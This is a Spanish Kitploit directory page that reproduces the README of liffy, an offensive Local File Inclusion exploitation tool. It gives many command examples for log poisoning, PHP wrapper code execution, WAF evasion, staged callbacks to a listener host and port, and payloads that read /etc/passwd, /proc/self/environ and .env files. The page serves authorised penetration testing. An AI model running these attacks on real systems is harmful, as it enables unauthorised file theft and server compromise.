Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
liffy — Herramienta de explotación de inclusión de archivos locales | Kitploit
Herramientas/GitHubGitHub/mzfr/liffy
Análisis de VulnerabilidadesExplotación de Aplicaciones WebEvasión de WAFPruebas de PenetraciónDesarrollo de Payloads
GitHubmzfr/liffy

liffy

Herramienta de explotación de inclusión de archivos locales

Ver Repositorio
97811454hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy

Herramienta avanzada de explotación LFI

Descargar herramienta

liffy en acción

Una potente herramienta en Python para la explotación de Local File Inclusion (LFI) con funciones avanzadas que incluyen evasión de WAF, técnicas de codificación y detección integral de vulnerabilidades.

Liffy v2.0 es la versión significativamente mejorada de liffy creado originalmente por rotlogix/liffy. Esta versión incluye funciones modernas como salida de terminal enriquecida (Rich), configuración YAML, mejor manejo de hilos y múltiples técnicas de explotación avanzadas.

⚠️ Muchos de los cambios nuevos fueron generados con vibe coding.

Tabla de Contenidos

  • Características
  • Instalación
  • Uso
  • Configuración
  • Técnicas Avanzadas
  • Ejemplos
  • Contribución
  • Créditos

Características

Técnicas principales de LFI

  • data:// - Ejecución de código mediante el envoltorio data
  • expect:// - Ejecución de código mediante el envoltorio expect
  • input:// - Ejecución de código mediante el envoltorio input
  • filter:// - Lectura arbitraria de archivos mediante el envoltorio filter
  • /proc/self/environ - Ejecución de código en modo CGI
  • Envenenamiento de access.log de Apache - Explotación de archivos de registro
  • Envenenamiento de auth.log SSH de Linux - Explotación de registros SSH
  • Envenenamiento por byte nulo - Ataques de byte nulo en PHP antiguo
  • Explotación del envoltorio ZIP - Ataques de inclusión de archivos ZIP
  • Detección de envoltorios - Sondas seguras para envoltorios comunes de flujo LFI
  • Sondas fuera de banda - Payloads de callback para comportamiento ciego de envoltorio/SSRF
  • Comprobaciones LFI ciegas - Sondas de diferencia de respuesta cuando los contenidos del archivo no se reflejan
  • Modo de escaneo automático - Plan de escaneo seguro basado en detección que abarca traversal, envoltorios y comprobaciones ciegas

Funciones avanzadas

  • Evasión de WAF - Múltiples técnicas de evasión para WAF comunes
  • Codificación avanzada - Doble codificación URL, Unicode, variaciones de mayúsculas/minúsculas
  • Soporte de solicitudes POST - Soporte completo del método POST con datos personalizados
  • Cabeceras personalizadas - Cabeceras HTTP configurables
  • Rotación de User-Agent - User agents aleatorios para evitar la detección
  • Limitación de velocidad - Aceleración de solicitudes configurable
  • Multihilo - Gestión mejorada del pool de hilos
  • Modo de detección - Escaneo de vulnerabilidades sin explotación
  • Salida de terminal enriquecida - Salida coloreada con barras de progreso
  • Configuración YAML - Gestión persistente de configuraciones

Mejoras modernas

  • Detección mejorada de vulnerabilidades - Análisis avanzado de respuestas con puntuación de confianza
  • Gestión del pool de hilos - Rendimiento optimizado con hilos adaptativos
  • Gestión de configuración - Ajustes basados en YAML con anulaciones desde línea de comandos
  • Registro completo - Informes detallados de ejecución y seguimiento del progreso

Instalación

Asegúrate de usar Python 3. Liffy no es compatible con Python 2. Los ejemplos a continuación usan uv run python para que los comandos se ejecuten dentro del entorno del proyecto.

root@kitploit:~
# Instala uv si aún no lo has hecho
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clona el repositorio
git clone https://github.com/mzfr/liffy
cd liffy

# Crea un entorno virtual con uv
uv venv

# Instala las dependencias desde pyproject.toml
uv sync

# Ejecuta liffy
uv run python liffy.py --help

Uso

Sintaxis básica

root@kitploit:~
uv run python liffy.py <URL> [OPCIONES]

Opciones de línea de comandos

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   URL a probar para LFI

Core Techniques:
  -d, --data            Usar técnica data://
  -i, --input           Usar técnica input://
  -e, --expect          Usar técnica expect://
  -f, --filter          Usar técnica filter://
  -p, --proc            Usar técnica /proc/self/environ
  -a, --access          Usar técnica de logs de acceso de Apache
  --ssh                 Envenenamiento de log de autenticación SSH
  -dt, --directorytraverse  Probar Directory Traversal
  --null-byte           Probar envenenamiento por byte nulo
  --zip                 Probar explotación del envoltorio ZIP
  --wrappers, --wrapper Detectar envoltorios comunes de flujo LFI
  --wrapper-list WRAPPER_LIST
                        Ruta a lista personalizada de payloads de sonda de envoltorio
  --oob                 Enviar sondas de callback fuera de banda
  --oob-url OOB_URL     URL base de callback OOB
  --blind               Ejecutar comprobaciones LFI ciegas de diferencia de respuesta
  --blind-list BLIND_LIST
                        Ruta a lista personalizada de sondas LFI ciegas
  --auto                Ejecutar un plan de escaneo automático seguro

Advanced Options:
  --encoding            Usar técnicas avanzadas de codificación/evasión
  --waf-bypass          Usar técnicas de evasión de WAF
  --method {GET,POST}   Método HTTP a usar (por defecto: GET)
  --post-data POST_DATA Datos POST (formato: clave=valor&clave2=valor2)
  --headers HEADERS     Cabeceras personalizadas (formato: Cabecera1:Valor1,Cabecera2:Valor2)
  --detection           Solo realizar detección de LFI, sin explotación

Request Options:
  --timeout TIMEOUT     Tiempo de espera de solicitud HTTP en segundos
  --proxy PROXY         URL de proxy HTTP(S), ej. http://127.0.0.1:8080
  --verify-tls          Verificar certificados TLS en lugar de usar solicitudes inseguras
  --user-agent UA       Cabecera User-Agent personalizada
  --delay DELAY         Retardo entre solicitudes en segundos
  --retries RETRIES     Reintentos HTTP por solicitud

Automation Options:
  --lhost LHOST         Host de callback para payloads por etapas
  --lport LPORT         Puerto de callback para payloads por etapas
  --read-file PATH      Ruta del archivo a leer con filter://
  -y, --yes             Usar valores predeterminados para avisos y ejecutar sin interacción
  --json                Imprimir un resumen de ejecución en JSON
  --output OUTPUT       Escribir resumen JSON en un archivo
  --quiet               Suprimir la salida normal de terminal

General Options:
  -ns, --nostager       Ejecutar payload directamente, no usar stager
  -r, --relative        Usar secuencias de traversal de ruta para el ataque
  -l, --location LOCATION  Ruta al archivo objetivo (log de acceso, log de autenticación, etc.)
  --cookies COOKIES     Cookies de sesión para autenticación
  -t, --threads THREADS Número de hilos a usar (por defecto: 5)
  --no-color            Deshabilitar salida coloreada
  --no-banner           Deshabilitar visualización del banner
  --config              Crear archivo de configuración YAML predeterminado

Configuración

Configuración YAML

Crea un archivo de configuración para ajustes persistentes:

root@kitploit:~
uv run python liffy.py --config

Esto crea liffy_config.yaml con valores predeterminados:

root@kitploit:~
# Archivo de configuración de Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Configura disable_banner: true para ocultar el banner/logo de inicio de forma predeterminada. Los indicadores de CLI aún anulan los valores de configuración, por lo que también puedes usar --no-banner, --no-color o --quiet para ejecuciones puntuales.

Variables de entorno

También puedes usar variables de entorno:

  • LIFFY_THREADS - Número de hilos
  • LIFFY_RATE_LIMIT - Retardo de limitación de velocidad
  • LIFFY_NO_COLOR - Deshabilitar colores (true/false)

Técnicas Avanzadas

Técnicas de evasión de WAF

Cuando se habilita --waf-bypass, liffy aplica automáticamente múltiples técnicas de evasión:

  • Inyección de comentarios: /**/, #, ;
  • Confusión de protocolo: file:///, pHp://
  • Capas de codificación: Múltiples combinaciones de codificación
  • Ofuscación de ruta: ./, ../, bytes nulos

Técnicas de evasión por codificación

Con --encoding, liffy aplica métodos de codificación avanzados:

  • Doble codificación URL: %252e%252e%252f
  • Codificación Unicode: \u002e\u002e\u002f
  • Mayúsculas/minúsculas mixtas: ..%2F, ..%2f
  • Codificación de entidad HTML: &#46;&#46;&#47;

Soporte de solicitudes POST

root@kitploit:~
# POST con datos de formulario
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST con cabeceras personalizadas
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Ajuste de solicitudes

root@kitploit:~
# Enviar tráfico a través de un proxy local y reintentar fallos transitorios
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Usar un User-Agent fijo y un retardo personalizado entre solicitudes
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Ejemplos

Pruebas básicas de LFI

Prueba con el envoltorio data://

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

Prueba con múltiples técnicas

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Solo modo de detección

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Uso avanzado

Evasión de WAF con codificación

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Multihilo con limitación de velocidad

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

Solicitud POST con cabeceras personalizadas

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Envenenamiento de logs

Envenenamiento del log de acceso de Apache

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

Envenenamiento del log de autenticación SSH

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

Ubicación personalizada del log

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Directory Traversal

Traversal de ruta relativa

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

Prueba de Directory Traversal

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

Técnicas especiales

Envenenamiento por byte nulo (PHP antiguo)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

Explotación del envoltorio ZIP

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

Detección de envoltorios comunes

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

La detección de envoltorios utiliza sondas seguras predeterminadas para file://, php://filter, data://, php://temp, php://memory y envoltorios relacionados. zip://, phar:// y glob:// se tratan como informativos/condicionales porque generalmente requieren archivos del lado del objetivo o un comportamiento de sumidero que exponga listados.

Puedes proporcionar una lista personalizada de payloads de envoltorio. Si se omite --wrapper-list, liffy recurre a las sondas integradas:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Cada línea no vacía puede ser un payload sin formato o nombre=payload:

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Sondas de callback fuera de banda

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Usa esto con un listener de callback HTTP/DNS. Liffy envía payloads de tipo envoltorio URL y tú verificas si el objetivo realiza un callback.

Comprobaciones LFI ciegas

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

Las comprobaciones ciegas comparan sondas de archivos existentes con líneas base de archivos faltantes aleatorios y reportan diferencias de estado, longitud o tiempo cuando el contenido no se refleja directamente.

Puedes proporcionar una lista personalizada de sondas ciegas. Si se omite --blind-list o está vacía, liffy usa las sondas integradas:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Cada línea no vacía puede ser un payload sin formato o nombre=payload:

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Escaneo automático seguro

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto habilita solo detección de directory traversal, comprobaciones de envoltorios y comprobaciones ciegas. Si también se proporciona --oob-url, incluye sondas OOB.

Escaneo completo con todas las técnicas

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Autenticación y Cookies

Uso de cookies de sesión

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Uso automatizado / No interactivo

Proporcionar valores de callback sin avisos

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Leer un archivo específico con filter:// sin avisos

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Salida estructurada

Imprimir un resumen de ejecución en JSON

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Escribir un resumen JSON a disco manteniendo la salida de terminal

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Control de salida

Deshabilitar colores y banner

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Suprimir la salida normal de terminal

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Ubicaciones de archivos predeterminadas

Se utilizan las siguientes ubicaciones predeterminadas cuando no se especifica una ruta personalizada:

  • auth.log de SSH: /var/log/auth.log
  • access.log de Apache: /var/log/apache2/access.log
  • Log alternativo de Apache: /var/log/httpd/access_log

Contribución

¡Agradecemos las contribuciones! Así es como puedes ayudar:

Sugerencias de funciones

  • Nuevas técnicas de explotación LFI
  • Métodos adicionales de evasión de WAF
  • Técnicas de codificación mejoradas
  • Optimización de payloads
  • Mejoras en la detección

Reportes de errores

  • Reporta problemas a través de GitHub Issues
  • Incluye pasos detallados para reproducir
  • Proporciona detalles del entorno objetivo

Pull Requests

  • Haz un fork del repositorio
  • Crea una rama de funcionalidad
  • Realiza tus cambios con pruebas
  • Envía un pull request

¡No dudes en abrir un issue para cualquier pregunta o sugerencia!

Detección de vulnerabilidades

El modo de detección de Liffy proporciona un análisis completo de vulnerabilidades:

Puntuación de confianza

  • Alta confianza (80-100%): Indicadores fuertes como contenido de /etc/passwd
  • Confianza media (50-79%): Contenido parcial del archivo o respuestas sospechosas
  • Confianza baja (20-49%): Posibles indicadores que requieren verificación manual

Funciones de detección

  • Análisis de contenido de archivos: Reconoce patrones de archivos de Linux, Windows y PHP
  • Análisis de respuesta: Códigos de estado HTTP, longitud del contenido, análisis de tiempo
  • Detección de WAF: Identifica firmas comunes de WAF
  • Recopilación de evidencia: Captura pruebas de la vulnerabilidad para informes

Ejemplo de salida de detección

root@kitploit:~
[+] RESUMEN DE VULNERABILIDADES
==================================================
[1] Vulnerabilidad encontrada
    Payload: ../../etc/passwd
    Confianza: 85%
    Evidencia: Archivo /etc/passwd de Linux: root:
    Código de estado: 200
    Longitud del contenido: 1547

Solución de problemas

Problemas comunes

WAF bloqueando solicitudes

root@kitploit:~
# Usa técnicas de evasión de WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Reduce el número de hilos y aumenta los retardos
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Problemas de limitación de velocidad

root@kitploit:~
# Aumenta el retardo en el archivo de configuración
max_threads: 2
rate_limit_delay: 1.0

Modo de depuración

Para obtener una salida detallada, puedes modificar la configuración:

root@kitploit:~
debug_mode: true
verbose_output: true

Aviso de seguridad

Liffy está diseñado únicamente para pruebas de seguridad autorizadas.

  • Úsalo solo en sistemas que poseas o para los que tengas permiso explícito de prueba
  • Sigue las prácticas de divulgación responsable
  • Respeta los límites de velocidad y evita condiciones de DoS
  • Ten en cuenta las implicaciones legales en tu jurisdicción

Los autores no se hacen responsables del mal uso de esta herramienta.

Créditos

Inspiración original

  • liffy original de hvqzao
  • Concepto inicial de rotlogix/liffy

Técnicas e investigación

  • Técnicas de explotación LFI de diversas investigaciones de seguridad
  • Métodos de evasión de WAF de recursos públicos de seguridad
  • Documentación de explotación de envoltorios PHP

Diseño y activos

  • Diseño del logotipo de renderforest
  • Estilo de terminal usando la librería Rich

Licencia

Este proyecto está licenciado bajo la GNU General Public License v3.0 - consulta el archivo LICENSE para más detalles.